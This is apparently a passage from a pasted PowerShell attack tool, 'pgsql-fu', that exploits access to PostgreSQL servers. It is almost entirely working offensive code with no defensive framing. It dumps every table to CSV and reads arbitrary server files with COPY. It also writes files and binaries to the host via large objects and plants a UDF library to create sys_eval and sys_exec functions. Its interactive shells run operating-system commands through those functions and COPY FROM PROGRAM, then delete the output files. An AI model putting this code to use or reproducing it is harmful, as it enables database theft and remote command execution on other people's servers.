- New-Item -path $dumpOutDir -Name "$($row.table_catalog).$($row.table_schema).$($row.table_name).csv" -Value $out -ItemType file -force | Out-Null;
- Write-Host " [*] Table Dumped"
- } else {
- Write-Host " [x] Problem Dumping Table"
- $sqlResult.msg
- }
- } else {
- Write-Host " [x] NO Columns/Data Returned";
- }
- }
- Write-Host "`n[*] Results Saved To:`n`t$($dumpOutDir)`n";
- } else {
- Write-Host "[x] Problem Fetching Columns";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^dump.all') {
- $dumpOutDir = $outDir + "\dumps\";
- if(!(Test-Path -PathType Container $dumpOutDir)) {
- New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
- }
- $sql = "SELECT table_catalog, table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $d = @(); $s = @();
- $knowndbs = {$d}.Invoke();
- $knowncatalogs = {$d}.Invoke();
- Write-Host "[*] Dumping ALL Available Catalog, Schema, Tables & Columns...";
- foreach($row in $sqlResult.result) {
- if($knowncatalogs -notcontains $row.table_catalog) {
- if($knowncatalogs.Count -gt 0) { Write-Host ""; }
- $knowncatalogs.Add($row.table_catalog);
- Write-Host " [+] Dumping CATALOG: $($row.table_catalog)";
- }
- if($knowndbs -notcontains $row.table_schema) {
- $knowndbs.Add($row.table_schema);
- Write-Host " [+] Dumping SCHEMA: $($row.table_schema)";
- }
- Write-Host " [-] Dumping TABLE: $($row.table_name)";
- $clz = @();
- $columnz = {$clz}.Invoke();
- $sql = "SELECT column_name FROM information_schema.columns WHERE table_catalog='$($row.table_catalog)' AND table_schema='$($row.table_schema)' AND table_name ='$($row.table_name)';";
- $sqlResult2 = pgsql_query $connectionString $sql;
- if($sqlResult2.msg -eq "") {
- $sql = "SELECT ";
- foreach($row2 in $sqlResult2.result) {
- $columnz.Add($row2.column_name);
- $sql += "$($row2.column_name),"
- }
- $sql = $sql -replace ",$", "";
- $sql += " FROM $($row.table_name);";
- $sqlResult3 = pgsql_query $connectionString $sql;
- if($sqlResult3.msg -eq "") {
- $out = "";
- foreach($col in $columnz) {
- $out += "$($col),";
- }
- $out = $out -replace ",$", "";
- $out += "`n";
- foreach($row3 in $sqlResult3.result) {
- foreach($col in $columnz) {
- $cv = $row3."$($col)";
- $out += "$($cv),";
- }
- $out = $out -replace ",$", "";
- $out += "`n";
- }
- New-Item -path $dumpOutDir -Name "$($row.table_catalog).$($row.table_schema).$($row.table_name).csv" -Value $out -ItemType file -force | Out-Null;
- Write-Host " [*] Table Dumped"
- } else {
- Write-Host " [x] Problem Dumping Table"
- $sqlResult.msg
- }
- } else {
- Write-Host " [x] NO Columns Returned";
- }
- }
- Write-Host "`n[*] Results Saved To:`n`t$($dumpOutDir)`n";
- } else {
- Write-Host "[x] Problem Fetching Columns by Database, Schema, Tables";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^read$' -Or $userArg.ToLower() -match '^read.file') {
- $fileOutDir = $outDir + "\files\";
- if(!(Test-Path -PathType Container $fileOutDir)) {
- New-Item -ItemType Directory -Force -Path $fileOutDir | Out-Null;
- }
- Write-Host "[*] Dropping to File Reader Shell";
- Write-Host " [+] Enter path to file to read";
- Write-Host " [+] Type EXIT or QUIT to end file reader session...`n`n"
- While($True) {
- $fileArg = Read-Host "(pgsql-fu\file_reader)>";
- Write-Host "";
- if($fileArg.ToLower() -eq 'x' -Or $fileArg.ToLower() -eq 'exit' -Or $fileArg.ToLower() -eq 'quit') {
- Write-Host "[x] OK, closing file reader session...`n`n";
- Break;
- } elseif($fileArg.ToLower() -eq '?' -Or $fileArg.ToLower() -eq 'h' -Or $fileArg.ToLower() -eq 'help') {
- Write-Host "[*] pgSQL File Reader:";
- Write-Host " [+] Simply type the full path to file to read & hit enter";
- Write-Host " [+] Type EXIT or QUIT to end file reader session...`n`n";
- } elseif($fileArg.ToLower() -eq 'cls' -Or $fileArg.ToLower() -eq 'clear') {
- PrintBanner;
- } elseif($fileArg.ToLower() -match '^load (.+)$') {
- $loadFileFile = $matches[1];
- if(Test-Path -Path $loadFileFile) {
- $filez = Get-Content -Path $loadFileFile;
- foreach($f in $filez) {
- $rand = randz 8;
- $sql = "CREATE TABLE $($rand)(fileContent text); COPY $($rand) FROM '$($f)'; SELECT * FROM $($rand);";
- $sql2 = "DROP TABLE $($rand);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.result -ne $NULL) {
- $fileOut = "";
- try {
- foreach($obj in $sqlResult.result) {
- if($obj[0] -ne "" -And $obj[0] -ne $NULL) {
- $fileOut += [System.Text.Encoding]::ASCII.GetString($obj[0]);
- }
- }
- $sqlResult = pgsql_query $connectionString $sql2;
- Write-Host "[*] FILE: $($f)";
- Write-Host "[+] FILE CONTENT:";
- Write-Host $fileOut;
- $filename = $f -replace "\\\\", "\\";
- $filename = $filename -replace "[/\\\|]", "_";
- $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
- $filename = $filename -replace '"', "";
- $filename = $filename.Replace(':', "");
- New-Item -path $fileOutDir -Name "mysqlfu-read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
- } catch {
- Write-Host " [x] Failed: $($f)";
- }
- }
- }
- } else {
- Write-Host "[x] Unable to load file: $loadFileFile";
- Write-Host " [x] Check path or permissions and try again...`n`n";
- }
- } else {
- $rand = randz 8;
- $sql = "CREATE TABLE $($rand)(fileContent text); COPY $($rand) FROM '$($fileArg)'; SELECT * FROM $($rand);";
- $sql2 = "DROP TABLE $($rand);";
- $sqlResult = pgsql_query $connectionString $sql;
- $fileOut = "";
- if($sqlResult.result -ne $NULL) {
- try {
- foreach($row in $sqlResult.result) {
- $fileOut += "$($row[0])`n";
- }
- $sqlResult = pgsql_query $connectionString $sql2;
- Write-Host "[*] FILE: $($fileArg)";
- Write-Host "[*] FILE CONTENT:";
- Write-Host $fileOut;
- $filename = $fileArg -replace "\\\\", "\\";
- $filename = $filename -replace "[/\\\|]", "_";
- $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
- $filename = $filename -replace '"', "";
- $filename = $filename.Replace(':', "");
- New-Item -path $fileOutDir -Name "pgsqlfu-read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
- } catch {
- Write-Host " [x] Problem Returning Results";
- Write-Host " [x] Check path & that path is properly escaped OR file may not exist!";
- }
- } else {
- Write-Host " [x] No Results Returned";
- }
- }
- Write-Host "";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^write$' -Or $userArg.ToLower() -match '^write.file') {
- While($True) {
- Write-Host "[*] Write Payload Options: ";
- Write-Host " [1] Load content from a local file";
- Write-Host " [2] Type in content to terminal";
- Write-Host " [x] Exit File Writer Session`n";
- $writeArg = Read-Host "ENTER Write Payload Option";
- Write-Host "";
- if($writeArg -eq "1") {
- $writeArg = Read-Host "ENTER Path to Local File";
- $writeContent = convertFileContentToHexStr $writeArg;
- Write-Host "";
- While($True) {
- Write-Host "[*] Write Path Options: ";
- Write-Host " [1] Provide Single Path to Write To";
- Write-Host " [2] Load Directory Paths to Write to From File`n";
- $writePathArg = Read-Host "ENTER Write Path Option";
- Write-Host "";
- if($writePathArg -eq "1") {
- Write-Host "[NOTE] Recommand Using Datadir:`n`t$($basicInfo.datadir)`n";
- $writeRemoteFilename = Read-Host "ENTER Remote Path w/Filename to Write";
- Write-Host "`n[*] OK, attempting write to: $writeRemoteFilename";
- $rand = randz 8;
- $sql = "CREATE TABLE $($rand)(mycol text); INSERT INTO $($rand)(mycol) VALUES(encode(decode('$($writeContent)', 'hex'), 'escape')); COPY $($rand)(mycol) TO '$($writeRemoteFilename)';";
- $sql2 = "DROP TABLE $($rand);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- Write-Host " [*] Content appears to have been written to pgSQL host!`n`n";
- } else {
- Write-Host " [x] Problem Writing File Content to pgSQL Host"
- $sqlResult.msg;
- }
- $sqlResult = pgsql_query $connectionString $sql2;
- } elseif($writePathArg -eq "2") {
- While($True) {
- $pathArg = Read-Host "ENTER local file to load write paths from";
- Write-Host "";
- if($pathArg.ToLower() -eq 'x' -Or $pathArg.ToLower() -eq 'quit' -Or $pathArg.ToLower() -eq 'exit') { Break; }
- if(Test-Path -Path $pathArg) {
- $fileNameArg = Read-Host "ENTER Filename to Write w/Path(s)";
- Write-Host "";
- $paths = Get-Content -Path $pathArg;
- foreach($path in $paths) {
- $writeRemoteFilename = $path + $fileNameArg;
- Write-Host "[*] Attempting write to: $writeRemoteFilename";
- $rand = randz 8;
- $sql = "CREATE TABLE $($rand)(mycol text); INSERT INTO $($rand)(mycol) VALUES(encode(decode('$($writeContent)', 'hex'), 'escape')); COPY $($rand)(mycol) TO '$($writeRemoteFilename)';";
- $sql2 = "DROP TABLE $($rand);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- Write-Host " [SUCCESS] Payload Written To:`n`t`t$($writeRemoteFilename)";
- } else {
- Write-Host " [x] Failed to write to: $($writeRemoteFilename)";
- }
- $sqlResult = pgsql_query $connectionString $sql2;
- }
- Break;
- } else {
- Write-Host " [x] Unable to read file";
- Write-Host " [x] Check path or file permissions and try again....`n`n";
- }
- }
- } elseif($writePathArg.ToLower() -eq 'x' -Or $writePathArg.ToLower() -eq 'quit' -Or $writePathArg.ToLower() -eq 'exit') {
- Break;
- } else {
- Write-Host " [x] Invalid Write Path Option: $writePathArg";
- Write-Host " [x] Try again with a valid option....`n`n";
- }
- }
- } elseif($writeArg -eq "2") {
- $writeArg = Read-Host "ENTER Content to Write";
- $writeContent = convertStrToHex $writeArg;
- Write-Host "";
- While($True) {
- Write-Host "[*] Write Path Options: ";
- Write-Host " [1] Provide Single Path to Write To";
- Write-Host " [2] Load Paths to Write to From File`n";
- $writePathArg = Read-Host "ENTER Write Path Option";
- Write-Host "";
- if($writePathArg -eq "1") {
- Write-Host "[NOTE] Recommand Using Datadir:`n`t$($basicInfo.datadir)`n";
- $writeRemoteFilename = Read-Host "ENTER Remote Path w/Filename to Write";
- Write-Host "`n[*] OK, attempting write to: $writeRemoteFilename";
- $rand = randz 8;
- $sql = "CREATE TABLE $($rand)(mycol text); INSERT INTO $($rand)(mycol) VALUES(encode(decode('$($writeContent)', 'hex'), 'escape')); COPY $($rand)(mycol) TO '$($writeRemoteFilename)';";
- $sql2 = "DROP TABLE $($rand);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- Write-Host " [*] Content appears to have been written to pgSQL host!`n`n";
- } else {
- Write-Host " [x] Problem Writing File Content to pgSQL Host";
- $sqlResult.msg;
- }
- $sqlResult = pgsql_query $connectionString $sql2;
- Break;
- } elseif($writePathArg -eq "2") {
- While($True) {
- $pathArg = Read-Host "ENTER local file to load write paths from";
- Write-Host "";
- if($pathArg.ToLower() -eq 'x' -Or $pathArg.ToLower() -eq 'quit' -Or $pathArg.ToLower() -eq 'exit') { Break; }
- if(Test-Path -Path $pathArg) {
- $fileNameArg = Read-Host "ENTER filename to use with paths";
- Write-Host "";
- Write-Host "[*] Attempting file writes...";
- $paths = Get-Content -Path $pathArg;
- foreach($path in $paths) {
- $writeRemoteFilename = $path + $fileNameArg;
- $rand = randz 8;
- $sql = "CREATE TABLE $($rand)(mycol text); INSERT INTO $($rand)(mycol) VALUES(encode(decode('$($writeContent)', 'hex'), 'escape')); COPY $($rand)(mycol) TO '$($writeRemoteFilename)';";
- $sql2 = "DROP TABLE $($rand);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- Write-Host " [SUCCESS] Payload Written To:`n`t$($writeRemoteFilename)";
- } else {
- Write-Host " [x] Failed to write to: $($writeRemoteFilename)";
- }
- $sqlResult = pgsql_query $connectionString $sql2;
- }
- Write-Host "`n";
- Break;
- } else {
- Write-Host " [x] Unable to read file";
- Write-Host " [x] Check path or file permissions and try again....`n`n";
- }
- }
- Break;
- } elseif($writePathArg.ToLower() -eq 'x' -Or $writePathArg.ToLower() -eq 'quit' -Or $writePathArg.ToLower() -eq 'exit') {
- Break;
- } else {
- Write-Host " [x] Invalid Write Path Option: $writePathArg";
- Write-Host " [x] Try again with a valid option....`n`n";
- }
- }
- } elseif($writeArg.ToLower() -eq "x" -Or $writeArg.ToLower() -eq "quit" -Or $writeArg.ToLower() -eq "exit") {
- Write-Host " [x] OK, exiting file writer session...`n";
- Break;
- } else {
- Write-Host "[x] Invalid Write Option: $writeArg";
- Write-Host " [x] Please select a valid Write option...`n";
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^write.bin$' -Or $userArg.ToLower() -match '^bin.write$') {
- $binPathArg = Read-Host "ENTER Path to LOCAL Binary FIle";
- Write-Host "";
- if(Test-Path -Path $binPathArg) {
- $writeRemoteFilename = Read-Host "ENTER Remote Path & Filename to Write";
- Write-Host "";
- $writeContent = [System.IO.File]::ReadAllBytes($binPathArg);
- $sql = "SELECT lo_creat(-1);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $oid = "";
- foreach($row in $sqlResult.result) {
- $oid = $row[0];
- }
- $sql2 = "DELETE FROM pg_largeobject WHERE loid=$($oid);";
- $sqlResult = pgsql_query $connectionString $sql2;
- $ch = @();
- $x=0; $y=$z=2048;
- $counter = 0;
- $chunks = {$ch}.Invoke();
- $max = $writeContent.Count;
- Write-Host "`n[DEBUG]";
- Write-Host "`n[OID] $oid`n[MAX] $max`n";
- While($counter -lt $max) {
- if($y -gt $max) {
- $chunk = $writeContent[$x..($max - 1)];
- Break;
- } else {
- $chunk = $writeContent[$x..($y - 1)];
- }
- $Base64String = [System.Convert]::ToBase64String($chunk);
- Write-Host "[$counter]-[$x]-[$($y - 1)]-[$($chunk.Length)] Added Chunk Size: $($Base64String.Length)";
- $chunks.Add($Base64String);
- $x = $x + $z;
- $y = $y + $z;
- $counter++;
- }
- Write-Host "[?] Total Chunks: $($chunks.Count)`n[DEBUG]`n"
- for($i=0; $i -lt $chunks.Count; $i++) {
- $sql3 = "INSERT INTO pg_largeobject (loid,pageno,data) VALUES($oid, $i, decode('$($chunks[$i])', 'base64'))";
- $sqlResult = pgsql_query $connectionString $sql3;
- if($sqlResult.msg -ne "") {
- Write-Host " [x] Problem Inserting Payload Data Into Table";
- Write-Host " [x] Payload will NOT work now...";
- $sqlResult.msg;
- }
- }
- $sql4 = "SELECT lo_export($($oid), '$($writeRemoteFilename)')";
- $sqlResult = pgsql_query $connectionString $sql4;
- if($sqlResult.msg -eq "") {
- $sql5 = "DELETE FROM pg_largeobject WHERE loid=$($oid);";
- $sqlResult = pgsql_query $connectionString $sql5;
- Write-Host " [*] Payload Successfully Written to pgSQL Host:`n`t$($writeRemoteFilename)`n";
- } else {
- Write-Host " [x] Problem Writing Content to pgSQL Host"
- $sqlResult.msg
- }
- } else {
- Write-Host " [x] Unable to write binary payload to target"
- Write-Host " [x] Problem Obtaining ObjectID Handle"
- $sqlResult.msg;
- }
- } else {
- Write-Host "[x] Unable to Load Binary File: $($binPathArg)";
- Write-Host " [x] Check path or permissions and try again...`n";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^udf') {
- $supported = $False;
- $vcheck = $basicInfo.serverVersion[0..2] -Join "";
- $binPathArg = (Get-Item -Path ".\" -Verbose).FullName + "\payloads\UDF\postgresql\";
- $basePath = $binPathArg;
- if($basicInfo.os -eq "Windows") {
- $binPathArg += "windows\32"
- $filename = "lib_postgresqludf_sys.dll";
- if($vcheck -eq "8.2") {
- $supported = $True;
- $binPathArg += "\8.2\lib_postgresqludf_sys.dll";
- } elseif($vcheck -eq "8.3") {
- $supported = $True;
- $binPathArg += "\8.3\lib_postgresqludf_sys.dll";
- } elseif($vcheck -eq "8.4") {
- $supported = $True;
- $binPathArg += "\8.4\lib_postgresqludf_sys.dll";
- } elseif($vcheck -match "^9.") {
- $supported = $True;
- $binPathArg += "\9.0\lib_postgresqludf_sys.dll";
- }
- } else {
- if($basicInfo.arch -match '(?i)32-bit') {
- $binPathArg += "linux\32"
- } else {
- $binPathArg += "linux\64"
- }
- $filename = "lib_postgresqludf_sys.so";
- if($vcheck -eq "8.2") {
- $supported = $True;
- $binPathArg += "\8.2\lib_postgresqludf_sys.so";
- } elseif($vcheck -eq "8.3") {
- $supported = $True;
- $binPathArg += "\8.3\lib_postgresqludf_sys.so";
- } elseif($vcheck -eq "8.4") {
- $supported = $True;
- $binPathArg += "\8.4\lib_postgresqludf_sys.so";
- } elseif($vcheck -eq "9.0") {
- $supported = $True;
- $binPathArg += "\9.0\lib_postgresqludf_sys.so";
- } elseif($vcheck -eq "9.1") {
- $supported = $True;
- $binPathArg += "\9.1\lib_postgresqludf_sys.so";
- } elseif($vcheck -eq "9.2") {
- $supported = $True;
- $binPathArg += "\9.2\lib_postgresqludf_sys.so";
- } elseif($vcheck -eq "9.3") {
- $supported = $True;
- $binPathArg += "\9.3\lib_postgresqludf_sys.so";
- } elseif($vcheck -eq "9.4") {
- $supported = $True;
- $binPathArg += "\9.4\lib_postgresqludf_sys.so";
- }
- }
- if($supported) {
- Write-Host "[*] Recommended Write Path: ";
- if($basicInfo.os -eq "Windows") {
- Write-Host " [+] DataDir:`n`t$($basicInfo.datadir)/$($filename)";
- Write-Host " [+] Temp:`n`tc:/windows/temp/$($filename)";
- } else {
- Write-Host " [+] Tmp: \tmp\$($filename)";
- }
- Write-Host "";
- $writeRemoteFilename = Read-Host "ENTER Remote Path & Filename for UDF Write";
- Write-Host "";
- if(Test-Path -Path $binPathArg) {
- $writeContent = [System.IO.File]::ReadAllBytes($binPathArg);
- Write-Host "[*] Postgres UDF Injection:";
- Write-Host " [+] Payload: $($binPathArg.Replace($basePath, '.\'))";
- Write-Host " [+] Write Location: $($writeRemoteFilename)`n";
- Write-Host "[*] Attempting UDF Injection...";
- $sql = "SELECT lo_creat(-1);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $oid = "";
- foreach($row in $sqlResult.result) {
- $oid = $row[0];
- }
- $sql2 = "DELETE FROM pg_largeobject WHERE loid=$($oid);";
- $sqlResult = pgsql_query $connectionString $sql2;
- $ch = @();
- $x=0; $y=$z=2048;
- $counter = 0;
- $chunks = {$ch}.Invoke();
- $max = $writeContent.Count;
- Write-Host "`n[DEBUG]";
- Write-Host "`n[OID] $oid`n[MAX] $max`n";
- While($counter -lt $max) {
- if($y -gt $max) {
- $chunk = $writeContent[$x..($max - 1)];
- Break;
- } else {
- $chunk = $writeContent[$x..($y - 1)];
- }
- $Base64String = [System.Convert]::ToBase64String($chunk);
- Write-Host "[$counter]-[$x]-[$($y - 1)]-[$($chunk.Length)] Added Chunk Size: $($Base64String.Length)";
- $chunks.Add($Base64String);
- $x = $x + $z;
- $y = $y + $z;
- $counter++;
- }
- Write-Host "[?] Total Chunks: $($chunks.Count)`n[DEBUG]`n"
- for($i=0; $i -lt $chunks.Count; $i++) {
- $sql3 = "INSERT INTO pg_largeobject (loid,pageno,data) VALUES($oid, $i, decode('$($chunks[$i])', 'base64'))";
- $sqlResult = pgsql_query $connectionString $sql3;
- if($sqlResult.msg -ne "") {
- Write-Host " [x] Problem Inserting Payload Data Into Table";
- Write-Host " [x] Payload will NOT work now...";
- $sqlResult.msg;
- }
- }
- $sql4 = "SELECT lo_export($($oid), '$($writeRemoteFilename)')";
- $sqlResult = pgsql_query $connectionString $sql4;
- if($sqlResult.msg -eq "") {
- $sql5 = "DELETE FROM pg_largeobject WHERE loid=$($oid);";
- $sqlResult = pgsql_query $connectionString $sql5;
- Write-Host " [+] UDF Payload Successfully Uploaded";
- # Create sys_eval() function now...
- $sql6 = "DROP FUNCTION sys_eval(); DROP FUNCTION sys_exec();";
- $sql7 = "CREATE OR REPLACE FUNCTION sys_eval() RETURNS TEXT AS '$($writeRemoteFilename)','sys_eval()' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;";
- $sql8 = "CREATE OR REPLACE FUNCTION sys_exec() RETURNS TEXT AS '$($writeRemoteFilename)','sys_exec()' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;";
- $sqlResult = pgsql_query $connectionString $sql6;
- $sqlResult = pgsql_query $connectionString $sql7;
- if($sqlResult.msg -eq "") {
- $sqlResult = pgsql_query $connectionString $sql8;
- Write-Host " [+] UDF Functions Created!";
- Write-Host " [-] SELECT sys_eval('_your_cmd_');";
- Write-Host " [+] Returns Command Output";
- Write-Host " [-] SELECT sys_exec('_your_cmd_');";
- Write-Host " [+] Does NOT Return Command Output`n";
- } else {
- Write-Host " [x] Problem Creating UDF Function: sys_eval()";
- $sqlResult.msg
- }
- } else {
- Write-Host " [x] Problem Writing Content to pgSQL Host"
- $sqlResult.msg
- }
- } else {
- Write-Host " [x] Unable to write binary payload to target"
- Write-Host " [x] Problem Obtaining ObjectID Handle"
- $sqlResult.msg;
- }
- } else {
- Write-Host "[x] Unable to Load UDF Payload: $($binPathArg)";
- Write-Host " [x] Check path or permissions and try again...`n";
- }
- } else {
- Write-Host "[x] Unsupported Postgres Version: $($vcheck)";
- Write-Host " [x] NO UDF Payload for this version"
- Write-Host " [x] Try compiling yourself & using write.bin option...`n";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^sys.shell' -Or $userArg.ToLower() -match '^sys.eval') {
- $sql = "select pg_get_functiondef('sys_eval()'::regprocedure);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Dropping to sys_eval() command shell..."
- Write-Host " [+] ENTER Command to Execute";
- Write-Host " [+] Type EXIT or QUIT to end command shell session...`n`n";
- While($True) {
- $sysArg = Read-Host "(pgsql-fu/udfshell)>";
- Write-Host "";
- if($sysArg.ToLower() -eq 'quit' -Or $sysArg.ToLower() -eq 'exit') {
- Write-Host " [x] OK, closing sys_eval() shell session...`n`n";
- Break;
- } elseif($sysArg.ToLower() -eq 'cls' -Or $sysArg.ToLower() -eq 'clear') {
- PrintBanner;
- } elseif($sysArg.ToLower() -eq '?' -Or $sysArg.ToLower() -eq 'h' -Or $sysArg.ToLower() -eq 'help') {
- Write-Host "[*] Postgres UDF sys_eval() Command Shell Usage: ";
- Write-Host " [+] Simply ENTER a Command to Execute";
- Write-Host " [+] Type EXIT or QUIT to end command shell session...`n`n";
- } else {
- $sqlResult = pgsql_query "SELECT sys_eval('$($sysArg)');";;
- if($sqlResult..msg -eq "") {
- foreach($row in $sqlResult.result) {
- $row[0];
- }
- } else {
- Write-Host "[x] Problem Running Command";
- $sqlResult.msg;
- }
- Write-Host "";
- }
- }
- } else {
- Write-Host "[x] UDF sys_eval() Function does NOT exist yet!";
- Write-Host " [x] Try the 'udf' option to try and install UDF cmd exec functions...`n";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^copy.shell') {
- $vcheck = $basicInfo.serverVersion[0..2] -Join "";
- $vmajor = $vcheck[0];
- $vminor = $vcheck.split('.')[1]
- if($vmajor -eq "9" -And [int]$vminor -gt 2) {
- Write-Host "[*] Dropping to COPY PROGRAM Command Shell..."
- Write-Host " [+] Simply type commands and hit enter";
- Write-Host " [+] Type EXIT or QUIT to end session`n";
- While($True) {
- $cmdArg = Read-Host "(pgsql-fu\copy.cmdshell)>";
- Write-Host "";
- if($cmdArg.ToLower() -eq 'x' -Or $cmdArg.ToLower() -eq 'exit' -Or $cmdArg.ToLower() -eq 'quit') {
- Write-Host "[x] OK, Closing COPY PROGRAM Command Shell Session...`n`n";
- Break;
- } elseif($cmdArg.ToLower() -eq '?' -Or $cmdArg.ToLower() -eq 'h' -Or $cmdArg.ToLower() -eq 'help') {
- Write-Host "[*] pgSQL COPY PROGRAM Command Shell:";
- Write-Host " [+] Simply type the command to execute & hit enter";
- Write-Host " [+] Type EXIT or QUIT to end session...`n`n";
- } elseif($cmdArg.ToLower() -eq 'cls' -Or $cmdArg.ToLower() -eq 'clear') {
- PrintBanner;
- } else {
- $rand = randz 8;
- $rand2 = randz 8;
- # Execute the Command & Redirect Results for reliable output
- $sql = "CREATE TABLE $($rand)($($rand2) text);"
- if($basicInfo.os -eq "Windows") {
- $outpath = $basicInfo.datadir + "/";
- $filename = $outpath + $rand2 + ".log";
- } else {
- $outpath = "/tmp/";
- $filename = $outpath + $rand2 + ".log";
- }
- $sql += "COPY $($rand) FROM PROGRAM '$($cmdArg) > `"$($filename)`"';"
- $sql += "DROP TABLE $($rand);"
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- # Now go fetch the output
- $sql = "CREATE TABLE $($rand2)($($rand) text);";
- $sql += "COPY $($rand2) FROM '$($filename)'; ";
- $sqlResult = pgsql_query $connectionString $sql;
- $sql = "SELECT * FROM $($rand2);"; # RESULT HERE #
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $cmdOutput = "";
- if($sqlResult.result -ne $NULL) {
- foreach($row in $sqlResult.result) {
- $row[0];
- }
- } else {
- Write-Host "[x] NO Results Returned";
- }
- } else {
- Write-Host "[x] Problem Fetching Results"
- $sqlResult.msg;
- Write-Host "";
- }
- $sqlResult = pgsql_query $connectionString "DROP TABLE $($rand2);";
- Start-Sleep -s 1;
- # Now go cleanup the redirect file
- $sql = "CREATE TABLE $($rand)($($rand2) text);"
- if($basicInfo.os -eq "Windows") {
- # DEL /F wasn't working, removing spaces & using powershell seems to work though ;)
- $fname = $filename.Replace("Program Files", "Progra~1")
- $cmdArg = "powershell.exe -Command rm $($fname)";
- $sql += "COPY $($rand) FROM PROGRAM '$($cmdArg)';"
- } else {
- $sql += "COPY $($rand) FROM PROGRAM 'rm -f $($filename)';"
- }
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -ne "") {
- Write-Host "[x] Problem Cleaning Up: $($filename)";
- $sqlResult.msg;
- Write-Host "";
- }
- $sql = "DROP TABLE $($rand);";
- $sqlResult = pgsql_query $connectionString $sql;
- } else {
- Write-Host "[x] Problem Executing Command";
- $sqlResult.msg;
- Write-Host "";
- }
- }
- }
- } else {
- Write-Host "[x] Unsupported Version: $($basicInfo.serverVersion)";
- Write-Host " [x] COPY PROGRAM option is only available in 9.3+`n";
- }
- Write-Host "";
- } else {
- # Run raw pgSQL query...
- $sqlResult = pgsql_query $connectionString $userArg;
- if($sqlResult.msg -eq "") {
- $sqlResult.result
- <#
- if($sqlResult.rowCount -gt 1) {
- foreach($row in $sqlResult.result) {
- foreach($column in $row) {
- $column;
- }
- }
- } else {
- $sqlResult.result
- }
- #>
- } else {
- $sqlResult.msg;
- }
- Write-Host "";
- }
- }
- } else {
- Write-Host "[x] Unable to Connect to Postgres SQL Server!";
- Write-Host " [x] Check arguments and try again...";
- }
- Write-Host "`n[*] Good Bye`n";
Add Comment
Please, Sign In to add comment